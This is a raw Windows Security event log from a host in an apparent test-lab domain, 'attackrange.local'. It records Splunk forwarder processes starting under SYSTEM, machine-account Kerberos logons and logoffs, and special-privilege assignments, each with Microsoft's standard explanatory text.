"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:16:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255494 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x884 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:16:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255496 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x116c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:16:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255495 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc30 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:16:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255498 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x47c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:16:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255497 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:16:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255499 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa08 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:16:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255502 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x31CDEC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:16:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255501 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x31CDEC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62659 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:16:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255500 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x31CDEC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:17:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255508 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x31D0BA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:17:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255507 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x31D0BA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62663 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:17:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255506 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x31D0BA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:17:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255505 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x31D04E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:17:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255504 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x31D04E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62662 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:17:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255503 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x31D04E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:17:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255520 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7b0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:17:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255519 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x31D47B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:17:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255518 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x31D589 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:17:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255517 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x31D5D2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:17:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255516 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x31D666 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62668 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:17:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255515 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x31D666 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:17:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255514 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x31D5D2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 62667 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:17:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255513 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x31D5D2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:17:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255512 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x31D589 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:17:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255511 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x31D589 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:17:09 AM 